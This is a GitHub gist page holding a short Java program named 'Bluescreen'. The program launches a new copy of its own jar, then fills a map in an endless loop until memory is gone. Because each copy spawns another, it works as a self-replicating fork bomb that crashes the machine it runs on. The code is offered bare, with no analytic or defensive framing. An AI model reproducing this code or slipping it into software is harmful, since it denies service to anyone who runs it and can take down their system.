Skip to content

Instantly share code, notes, and snippets.

@manuelgu
Last active September 29, 2015 16:53
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
Star You must be signed in to star a gist
Embed
What would you like to do?
public class Bluescreen {
public static final Map Objects = new HashMap();
public static double d = 0.0;
public static void main(String[] args) throws InterruptedException, IOException{
String jarname = new File(Bluescreen.class.getProtectionDomain().getCodeSource().getLocation().getPath()).getName();
Runtime.getRuntime().exec("java -jar " + jarname);
while(true) {
Objects.put(Double.valueOf(d), Double.valueOf(d));
d += 1.0D;
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment